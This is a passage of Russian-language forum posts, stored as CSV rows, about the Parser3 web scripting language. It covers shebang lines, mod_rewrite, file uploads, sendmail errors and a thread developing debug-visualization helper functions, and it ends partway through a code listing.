"45170","Мне кажется что все можно решить только им. Без каких-либо дополнительных замен."
"45172","это обязательно.\
parser разбирает этот заголовок сам, если вызываемый файл не является обычным исполняемым файлом windows.\
ассоциации parser не смотрит, а действует параллельно unix: смотрит на первую строку.\
\
так что, да, перед заливкой скриптов на unix необходимо сменить shbang line."
"45173","сделать, конечно, можно.\
однако читабельность подобного кода нулевая.\
\
могу представить, зачем может быть нужно при отладке.\
\
уже сейчас можно получить малой кровью удобный отладочный вывод так: \
определить у ряда классов\
[code]\
@debug_show[]\
^debug:show[$id;$value;$meaning]\
[/code]"
"45174","Я например использую Денвер. \
Структура каталогов такая \
/cgi-glob - Здесь стоит денверская заглушка вызывающая парсер\
/site.ru\
/site.ru/www/\
/site.ru/cgi-bin/\
\
/site.ru/www/cgi.html\
[code]\
@main[]\
$f[^file::exec[/../cgi-bin/test.pl]] \
$f.text\
[/code]\
\
test.pl\
#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
print \"<html><br><br><br><br><h2 align=center>Этот текст сгенерирован файлом <tt>$0</tt>, расположенным в CGI-BIN директории.\";\
\
И работает на 100%\
и не надо для скриптов перловых переписывать заголовки \
Парадокс!"
"45176","Не могу разобраться с докой.\
У меня след. правила для apache mod_rewrite:\
[quote]RewriteRule ^manager/$ manager.php\
RewriteRule ^admin/$ adm.php\
RewriteRule ^([_,a-z]+)/$ index.php?act=$1\
RewriteRule ^([_,a-z]+)/([_,a-z]+)$ index.php?act=$1&what=$2\
RewriteRule ^([_,a-z]+)/([_,a-z]+)/([0-9]+)$ index.php?act=$1&$2=$3\
RewriteRule ^manager/([_,a-z]+)/$ manager.php?act=$1\
RewriteRule ^manager/([_,a-z]+)/([_,a-z]+)$ manager.php?act=$1&what=$2\
RewriteRule ^manager/([_,a-z]+)/([_,a-z]+)/([0-9]+)$ manager.php?act=$1&what=$2&id=$3\
RewriteRule ^admin/([_,a-z]+)/$ adm.php?act=$1\
RewriteRule ^admin/([_,a-z]+)/([_,a-z]+)$ adm.php?act=$1&what=$2\
[/quote]\
Как их переписать для сабжа?.."
"45177","[code]\
<xsl:text>	</xsl:text>\
[/code]\
между xsl:text стоит Tab"
"45178","Такой вот код:\
[code]\
<form method=\"POST\">\
$images_count(20)\
\
^for[i](1;^images_count.int(0)){\
	^if(def $form:[image$i]){<p>$i $form:[image$i].name +</p>}\
}\
\
^for[images](1;^images_count.int(0)){\
	<p>Изображение${images}: <input type=\"file\" name=\"image${images}\" style=\"width: 100%\"></p>\
}\
<p><input type=\"submit\" value=\"Send\"></p>\
</form>\
[/code]\
\
После отправки получаю ошибку:\
[code]\
string method not found\
[/code]\
\
Parser указывает на [b]$form:[image$i].name[/b]. Не могу понять что именно не правильно..."
"45181","Как поступать в такой ситуации:\
[code]\
<form method=\"POST\" enctype=\"multipart/form-data\">\
\
$images_count(20)\
\
^for[images](1;^images_count.int(0)){\
	<p>Изображение ${images}: <input type=\"file\" name=\"image\" style=\"width: 100%\"></p>\
}\
\
<p><input type=submit value=\"OK\"></p>\
</form>\
\
$image[$form:tables.image]\
^if($image){\
	^image.menu{\
		$image.field\
		^image.field.save[binary;/home/.../public_html/images/$image.field.name]\
	}[<br>]\
}{\
	Ничего не выбрано\
}\
[/code]\
Как с помощью $form:tables сохранять изображения и получать их названия (.name)?\
[i]$image.field.name не проходит, ошибка \"string method not found (name)\"[/i]"
"45182","поэтому можно для совместимости и легкопереносимости извратиться так:\
поставить перл не в w:/perl а w:/usr\
в итоге можно будет вызывать почти как в юниксе\
#!/usr/bin/perl.exe\
\
только как бы отбросить .exe ??? :)"
"45183","http://www.parser.ru/forum/?id=33254"
"45184","всё работает таким образом :)\
только блин придётся перл переставить в другой каталог :(("
"45186","можно загрузить файл как текст и регекспом найти ^@\
\
это и будут методы\
\
ps. я так делал"
"45187","оно там не нужно"
"45188","Да и что толку от названия методов, когда не понятно что в них с параметрами и т.п. Что выводить-то визуально?"
"45189","Очередное огромное спасибо, Александр!"
"45190","т.е. чтобы перл реально лежал в каталоге perl, а при обращении к каталогу usr обращение шло к c:\\perl ?"
"45193","можно сделать каталог w:/usr/bin/\
залить туда один файл perl.exe\
и вроде всей работает - модули даже работают типа ImageMagic\
\
видать срабатывает виндовая переменная PATH :)"
"45194","из доков:\
[code]\
^mail:send[\
 $.from[Вася <vasya@hotmail.ru>]\
...\
]\
[/code]\
трабла:\
в рассылке подставляется FROM-адрес, но при получении вижу мыло хост-сервера %(\
вопрос:\
это где-то в настройках sendmail копать?"
"45197","Имеется вот что :\
[code]\
$str[^headerart[] $form:photo ^blocksart[]   ^footerart[] ^titleart[] ] ^str.save[$form:user][/code]\
Нужно сохранить файл с определённым именем ( в данном случае с именем которое я ввиду в поле user ) ( все назнавия полей просто пример )\
Такой код вызывает ошибку:\
[code][Fri Sep 30 23:53:18 2005] [error] [client *** ] /mytests/rename.html: c:/apache_swissknife/сайты/localhost01/html/mytests/rename.html(11:78): 'c:/apache_swissknife/Сайты/localhost01/html//test/' write failed: Permission denied (13), actual filename 'c:/apache_swissknife/Сайты/localhost01/html//test/' [file.access][/code]\
В чём проблема , мне всёголишь нужно указывать имя файла который в будующем будет сохранён !"
"45199","Вот оно мне-то и надо, чтоб в поле ввести имя файла и он сохранился в заданнном из поля имени...\
Вот потому и поставил $form:user по идеи думал что должно сохраниться то , чего я набрал в поле user \
Я не прав , поправте меня ?"
"45200","http://www.flickr.com/photos/zhorik/48077784/"
"45201","Я себе несколько иначе тебя представлял. По старше, что-ли ;)"
"45202","сабж. нужна версия 3,1,3 под фриибсд.\
если у кого есть киньте в мыло m-mak@yandex.ru\
сам скомпилить не могу, т.к. нет фриибсд.\
\
эта версия нужна, т.к. сайт работает только на ней, на 3,1,4 не работает. я не могу найти ошибку, код писал не я.\
ошибку ищу уже очень долго, но что такое поменялось в версии 3,1,4 я не нашел."
"45203","Миша вам сказал на что нужно обратить внимание, но вы обратили его куда-то не туда :-)\
\
2. http://www.parser.ru/forum/?id=45134"
"45204","http://www.parser.ru/download/freebsd/\
\
Измените в адресах номер версии на нужный и ура :)"
"45206","\"так вы напрашиваетесь на очевидные неприятности.\
я уже на эту тему тут не раз писал.\"\
Хмм а как тогда понять такое ? \
[code]\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"photo\"> \
Имя файла например - <input type=\"text\" name=\"user\"> \
<input type=\"submit\"> \
</form> \
^if(def $form:photo){ \
    ^form:photo.save[binary;/upload/photos/$form:user] \
} \
^if(def $form:user){ \
    имя файла: $form:user<br> \
} \
\
[/code]\
Пишу имя файла в поле user и оно сохоаняет файл с заданным именем , а вы говорите нельзя ? Как-же так ?"
"45209","Вот собстно его слова )\
Елси можно то скажи тогда как можалуйста очень надо , яж не буду менять вручную имя файла для сохранения ...\
Заранее благодарен .."
"45210","Записывать лог в произвольный файл?"
"45211","Нет задача , типо под статьи )\
Пишу статью , пишу назнание файла , например articles1.html и т.д и статья сохранаеться в articles1.html!"
"45212","1. Почему бы не использовать базу данных?\
\
2. Как вариант: вводить в форме только «article1», а при постинге делать проверку, содержит ли введенное поле только допустимые символы:\
\
[code]\
^if(^form:user.match[^^[A-Za-z0-9_]+^$]){\
  Проверка прошла успешно\
}{\
  Проверка завершилась неудачей\
}\
[/code]"
"45213","Понимаете я новичёк , особо много не понимаю...\
Мне нужно чтоб именно сохоанался в файл , просто скажите пожалуйста как это сделать очень прошу ...\
Или как занести в мускуль а потом вывести список статей яж не знаю , если только вы мне обьясните ..\
Очень надеюсь на вас блин )"
"45214","Читайте документацию, там все подробно рассказано. С примерами, кстати ;)\
\
Кроме того я уже написал что вам нужно делать :)"
"45215","В документации не написано как сохранить файл с определённого поля!"
"45217","Нельзя проезжать на красный свет.\
\
Нельзя войти в одну реку дважды.\
\
Ясно?"
"45218","Используя редирект response:location или вообще с помощью response возможно передать переменные на страницу, не демонстрируя их в адресной строке?"
"45219","файл 1.p:\
[code]\
=======================\
@CLASS\
Class1\
\
@USE\
2.p\
\
@BASE\
Class2\
\
@init[]\
^BASE:init[]\
=======================\
[/code]\
\
\
Файл 2.p:\
[code]\
=======================\
@CLASS\
Class2\
\
@init[]\
$result[Инициализация класса]\
=======================\
[/code]\
\
Программа:\
\
[code]\
=======================\
$newC[^Class1:init[]]\
\
1. '^if($newC is Class1){^$newC is Class1}{^$newC is't Class1}'<br>\
2. '^if($newC is Class2){^$newC is Class2}{^$newC is't Class2}'<br>\
3. '^if($newC is MAIN){^$newC is MAIN}{^$newC is't MAIN}'<br>\
=======================\
[/code]\
\
1 и 2 выдает истину. Т.е.: $newC принадлежит и Class1 и Class2. Это нормально?"
"45220","МОЖНО ВСЁ !!! \
Сделал я .."
"45221","В ООП любой потомок относится одновременно и ко всем классам-предкам."
"45222","А вообще расскажите про задачу, зачем нужно."
"45224","$newC[^Class1:init[]]\
наверное должно быть \
$newC[^Class1::init[]]\
\
[code]\
@init[]\
$result[Инициализация класса]\
[/code]\
\
в конструкторе ничего не надо возвращать. конструктор всегда возвращает \"объект\"."
"45226","ТОлько не забывай устанавливать время жизни куки! Не засаряй пользователя бездарными переменными! Используй $.expires[session] для единоразного использования, ну короче в доке лучше написанно..."
"45227","Я столкнулся с такой же проблемой, когда перенёс сайт с UNIX на IIS в Win32. \"Вылечил\", заменив это:\
\
$response:location[$request:uri] \
\
на это:\
\
$response:refresh[\
$.value[0] \
$.url[$request:uri] \
]  \
\
Но то, что сайт при этом перегружается дважды, мягко говоря, не радует. Есть ли другие способы преодоления этой странности?"
"45228","http://parser2.parser.ru/img/paf.jpg - v.1.0"
"45229","Все-таки все хорошее в Москве имеет Питерские корни :)\
\
http://photoexpo.ru/c/vystavka_main/140\
\
http://www.photographer.ru/krutilka.htm?id=298&pic=23&referer=\
\
\"Так вот ты какой, дедушка Ленин...\" (с) Народный эпос."
"45234","..., который предлагается скачать в downloads, входит пакет ImageMagick для Perl?\
\
 А то я не врубаюсь - не запускается скрипт, или просто нет ImageMagick."
"45235","Мож надо кому?\
[code]\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#        string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#        int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#        bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#        void v\
#    ]\
#\
$result[<strong>Значение не присвоено (void)</strong><br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#        hash h\
#    ]\
#\
<br>\
$self._s[$self._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
        ^if(!def $v){$self._s^$.$k = ^debugShowVoid[$v]}\
        ^if($v is bool){$self._s^$.$k = ^debugShowBool[$v]}\
        ^if($v is string){$self._s^$.$k = ^debugShowString[$v]}\
        ^if($v is int || $v is double){$self._s^^#24.$k = ^debugShowDouble($v)}\
        ^if($v is hash){\
                $self._s^$.$k (hash) = ^debugShowHash[$v]\
                $self._s[^self._s.mid(^eval(^self._s.pos[ ]+1))]\
        }\
}\
#end @debugShowHash[]\
[/code]\
\
$TRUE и $FALSE - это такое переменные, которые я использую^\
\
$TRUE(def 1)\
$FALSE(!$TRUE)\
\
И проверочный hash:\
[code]\
$aMenuLinks[\
        $.0[\
                $.0[Новости]\
                $.1[news]\
                $.2[]\
                $.3[\
                        $.ALT[Новости магазина]\
                        $.TITLE[Новости магазина ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
        $.1[\
                $.0[Цены и скидки]\
                $.1[cost]\
                $.2[]\
                $.3[\
                        $.ALT[Принципы формирования цен]\
                        $.TITLE[Цены и скидки магазина ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
        $.2[\
                $.0[Способы покупки]\
                $.1[howbuy]\
                $.2[]\
                $.3[\
                        $.ALT[Как купить?]\
                        $.TITLE[Как можно совершать покупки в магазине ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
        $.3[\
                $.0[О компании]\
                $.1[about]\
                $.2[]\
                $.3[\
                        $.ALT[О нас]\
                        $.TITLE[Рассказ о компании ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
        $.4[\
                $.0[Команда]\
                $.1[team]\
                $.2[]\
                $.3[\
                        $.ALT[Мы]\
                        $.TITLE[Команда ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
        $.5[\
                $.0[Вакансии]\
                $.1[team]\
                $.2[]\
                $.3[\
                        $.ALT[Карьера с нами]\
                        $.TITLE[Вакансии компании ОТКРЫТОЕ МОРЕ\"]\
                ]\
                $.4[$TRUE]\
        ]\
]\
[/code]\
\
Красиво выглядит!"
"45236","общий метод:\
\
[code]\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#        undefined object\
#    ]\
#\
^if(!def $object){\
        ^debugShowVoid[$object]\
}{\
        ^if($object is bool){^debugShowBool[$object]}\
        ^if($object is string){^debugShowString[$object]}\
        ^if($object is int || $object is double){^debugShowDouble[$object]}\
        ^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
[/code]"
"45237","Ну а меня ты каким представляешь?"
"45243","Как я устанавливал Image::Magick на Denwer можно почитать здесь:\
http://forum.dklab.ru/viewtopic.php?p=72608"
"45244","Вообще-то мне лично не надо было на все эти table, file, image, но раз уж вылез с инициативой, то сделаю :)\
\
Михаил. В http://www.parser.ru/examples/ можно будет по окончании выложить? Ну что б не зря старался."
"45246","там написано \"модуль Apache\", т.е. парсер, который устанавливается как модуль.\
\
правда там есть ещё Денвер и Apache Swissknife, но что входит в них - я не знаю."
"45247","Да вот и вся задача собственно. Меня только этот вопрос интересует. :)"
"45248","Спрятать GET-параметры в адресной строке это же не сама суть, это для чего-то же нужно :)\
\
Если к примеру на странице есть список, который динамически сортируется. Текущие данные о ключе и направлении сортировки лично я кладу в куку:\
\
1. Посетитель перешел по ссылке [url=\"http://demo.demo/list/?sort_by=price&direct=desc\"]Сортировать по цене в обратном порядке[/url]\
2. Там вы записали ему сессионную куку и отправили внешним редиректом на [url=\"http://demo.demo/list/\"]/list/[/url].\
\
Вы не об этом спрашивали?"
"45249","можно было бы сделать $form:files[$.field1[первый]... $.field2[...\
но толку мало: hashtable не упорядочен. можно сделать \
$form:files[$.1[первый]... $.2[...\
\
тогда имя теряется вообще.\
\
вывод: код и так небольшой, дополнительного удобства тут не нужно:\
[code]\
$fileField[^table::create{name	folder\
photo	/i/photo\
resume	/doc/resume\
}]\
^fileField.menu{\
   $file[$form:[$fileField.name]]\
   $folder[$fileField.folder]\
   ^file.save[$folder/${id}.jpg]\
}\
[/code]"
"45250","Парсер выдаёт такую ошибку \
\
[Mon Oct  3 17:12:57 2005] [56243] /user/: /usr/local/vhosts/www.zavod.netprovodov.ru/html/auto.p(20:2): '/usr/local/vhosts/www.zavod.netprovodov.ru/lib/libparser3mysql.so' can't open the module [<no type>] \
\
Как исправить ?"
"45251","попробую ответить, в [quot]/usr/local/vhosts/www.zavod.netprovodov.ru/html/auto.p(20:2)[/quot]видимо у тебя прописано подклучение к базе MySql, а драйвер ПАРСЕР ищет по адресу [quot]/usr/local/vhosts/www.zavod.netprovodov.ru/lib/libparser3mysql.so[/quot]хотя он должен находиться в CGI директории,там же где находится [b]parser3.cgi[/b].\
Либо пересмотри настройки ВЕБсервера, либо скопируй драйвер туда, где его ищет ПАРСЕР."
"45252","По-другому я и сам могу. Уже сделал давно по-другому. :)\
\
Мне просто нужно знать, есть такая возможность или нет, и если есть, то каким образом можно используя response передать переменные не помещая их в адресную строку."
"45254","ничего хорошего не выйдет.\
вас сейчас интересует спецификация HTTP.\
есть тут:\
http://www.faqs.org/rfcs/rfc2616.html"
"45256","огреб такую ошибку:\
send\
'/usr/sbin/sendmail' reported problem: /usr/src/lib/libsm/../../contrib/sendmail/libsm/fprintf.c:50: SM_REQUIRE((fp) != NULL && (fp)->sm_magic == ( SmFileMagic)) failed (-2)\
на этом коде:\
[code]\
^mail:send[\
 $.charset[koi8-r]\
 $.from[robot@domain.ru]\
 $.to[test@mybox.ru]\
 $.subject[тестим мыло]\
 $.text[Данное письмо пришло Вам с сайта, как извещение]\
]\
[/code]\
что это может быть?\
(поиск пока не помог)"
"45257","Если у нас [code]article_type_id TINYINT(4) NOT NULL DEFAULT 0[/code], то в администрировании тип выбираем из выпадающего списка?"
"45258","вы описали внутреннюю ошибку программы sendmail.\
\
моё мнение: то, что на вашем хостинге называется sendmail, это не sendmail (где за много лет уже отлажено очень многое), некая другая программа. уточните у вашего адмнистратора, давно ли он обновлял этот софт."
"45259","Наверняка это была бы очень полезная штука.\
Парсер сейчас весьма развитый язык. Позволяет решать большинство задач, свойственных web-dev, но такой мелочи как построчное считывание файла почему-то не умеет, хотя это довольно частая задача. Ведь часто для обработки файла его не надо в память грузить целиком.\
\
Не ожидается в ближайшем будущем поддержки подобного механизма?"
"45260","А это как удобнее. Можно списком, можно радио-кнопками. да хоть цифрой, если такой интерфейс устроит конечного пользователя."
"45261","Написал ответ в найденной теме, но эффекта ноль :(\
\
Собственно, здесь:\
\
http://www.parser.ru/forum/?id=376\
\
Я столкнулся с такой же проблемой (происходит многократное добавление записей в БД когда используется response:location), когда перенёс сайт с UNIX на IIS, Win32. \"Вылечил\", заменив это:\
\
$response:location[$request:uri] \
\
на это:\
\
$response:refresh[\
$.value[0] \
$.url[$request:uri] \
] \
\
Но то, что сайт при этом перегружается дважды, мягко говоря, не радует. Есть ли другие способы преодоления этой странности?"
"45262","В конструкторе ^file::load[формат;имя файла;опции загрузки] можно задать хэш в \"опции загрузки\":\
\
$.offset(смещение) - Загрузить данные начиная с этого смещения (в байтах).\
$.limit(ограничение) - Загрузить не более данного количества байт.\
\
Не бог весть что, но если есть существенные ограничения на хостинге, то поэкономить память можно."
"45263","можно дoработать до требуемой реализации дополнительным классом для работы построчно с файлом, используя буфер некоторой фиксированной длинны.\
\
а запись построчно осуществлять через ^string.save[append;filename]\
\
\
спасибо, АШарки. забыл совсем про эти опции.\
осталось только описать myfile =)\
\
[code]\
# Предполагаемая максимальная длинна строки\
$buffer_size[10000]\
\
$FILE[^myfile::read[bigfile.txt;$buffer_size]]\
\
^FILE.strings{\
        $str[^modify[$FILE.string]]\
        ^str.save[append;output.txt]\
}\
[/code]"
"45264","Накосячил в @debugShowTable[] с таблицами nameless, но тем не менее работает.\
\
Нет классов junction, xdoc, xnode, mail, math, request, response, hashfile, cookies, env, status, console, user-defined-class.\
\
Приветствуется критика.\
\
\
[code]\
###################################################################################################\
# $Id: visualization.p,v 1.0 2005/09/28 06:30:21 1 Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^debugShowVoid[$object]\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[<strong>Значение не присвоено</strong> (void)<br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[<strong>^file:fullpath[$f.name]</strong> (file).<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Размер: $_f.size байт.<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Создан ${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в ${_f.cdate.hour}ч.${_f.cdate.minute}мин.<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Изменен: ${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в ${_f.mdate.hour}ч.${_f.mdate.minute}мин.<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Последний раз обращение к файлу производилось ${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в ${_f.adate.hour}ч.${_f.adate.minute}мин.<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Первые 100 символов файла:<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;<strong>^f.text.left(100)...>>></strong><br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;Последние 100 символов файла:<br>\
	&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;<strong><<<...^f.text.right(100)</strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font><br>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}ч.${d.minute}мин.${d.second}сек. $d.yearday день года</strong> (date)<br>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3</strong>} (image)<br>\
Высота изображения^: $i.height<br>\
Ширина изображения^: $i.width\
^if(def $i.exif){^debugShowHash[$i.exif]}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является nameless таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr>\
	^_tcol.menu{\
		<td align=\"center\"><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr>\
		^_tcol.menu{\
		<td align=\"center\">$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$self._s[$self._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){$self._s^$.$k = ^debugShowVoid[$v]}\
	^if($v is bool){$self._s^$.$k = ^debugShowBool[$v]}\
	^if($v is string){$self._s^$.$k = ^debugShowString[$v]}\
	^if($v is int || $v is double){$self._s^$.$k = ^debugShowDouble($v)}\
	^if($v is hash){\
		$self._s^$.$k (hash) = ^debugShowHash[$v]\
		$self._s[^self._s.mid(^eval(^self._s.pos[ ]+1))]\
	}\
}\
#end @debugShowHash[]\
[/code]"
"45265","$str[^str.match[^[][g]{х}]\
В чем проблема? \
такаяже фигня и с ^] - ъ"
"45266","Взято из доки:\
\
[quot]\
[...]	Ограничитель символьного класса\
[/quot]\
\
Экранируйте не как код на Парсере, а как регулярное выражение: \\[\\]"
"45267","делал когда-то, не помню как точно вышел из положения\
так ^\\[\
или \\^[ так.\
По логике второе должно быть."
"45268","и тут теперь читаем.\
вы не перефразировали, а copy/paste сделали.\
понятнее не стало.\
\
клещами тянуть из вас информацию?"
"45269","Спасибо Евгений, я всё сделал с вашей помошью. И теперь всё работает. Сделал по варианту #2. Остальные даже не стал почему-то проверять? Незнаю..."
"45270","... поделитесь, если не в лом, опытом - как организовать рабочее место веб-мастера? Нужно ли для каждого сайта пользователей заводить, КАК, ЧЁРТ ВОЗЬМИ, ВЫСТАВИТЬ ПРАВА НА ФАЙЛЫ И КАТАЛОГИ??? Я дико извиняюсь за оффтоп, просто замучался уже. Если есть понимающий народ которого можно по асе подёргать, то было бы вообще круто... Ещё раз прошу прощения :( и за сумбур тоже..."
"45271","Такие ещё есть ;) Не совсем понятен вопрос - рабочее место или площадку? Ася - 242364021"
"45272","2. убрать бессмысленные комментарии\
3. сделать что-нить с пачкой &nbsp; (quote, div with style or so on)\
4. не использовать глобальные переменные\
5. align=\"center\" унести из TDs в TR\
6. я не понял прикола с nameless таблицей :)\
7. $self._s[$self._s&nbsp...] - не понял."
"45273","Так реально или нет? Я думаю, что нет. :)\
\
Я уже лазил в спецификации HTTP, честное пионерское. Только ее тоже фрагментами бесполезно читать, надо целиком. А вот это уже лень, у меня вопрос слишком частный."
"45274","1.  Зачем обязательно класс надо делать? Операторы удобнее, а кому приспичит, тот вполне может переоформить в класс самостоятельно.\
\
2.  Комментарии бессмысленными не бывают. Вот у тебя их минимум, так люди часто жалуются (искать лениво, но несколько раз видел на этом форуме). Но по-любому - это вопрос привычек и стиля, не более того.\
\
3. Убрал лишние ^nbsp^; из @debugShowFile. В @debugShowHash оставил - там им место\
\
4. Глобальные переменные имеются в виду $TEMP_DIR в операторе @debugShowTable ?\
\
5. ...align=\"center\" унести из TDs в TR... - сделал\
\
6. ...я не понял прикола с nameless таблицей :)...\
В nameless таблице не проходим метод ^tab.columns[] и посему не получается красиво, при поможи ^tab.menu{ ^tab2.menu{ ... }} вывести таблицу. Посему конверсию nameless в обычную таблицу сделал через запись/чтение в файл/из файла. Потом рекурсия оператора. Это я и называю \"косяк\".\
\
7.  ...$self._s[$self._s&nbsp...] - не понял.... - я тоже не понял (ночью писАл, не соображал ничего). Потом переделаю, когда разберусь, но в общем этот оператор (@debugShowHash) работает если ничего не менять :)"
"45275","[code]\
###################################################################################################\
# $Id: visualization.p,v 1.1 2005/10/04 08:35:42 1 Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
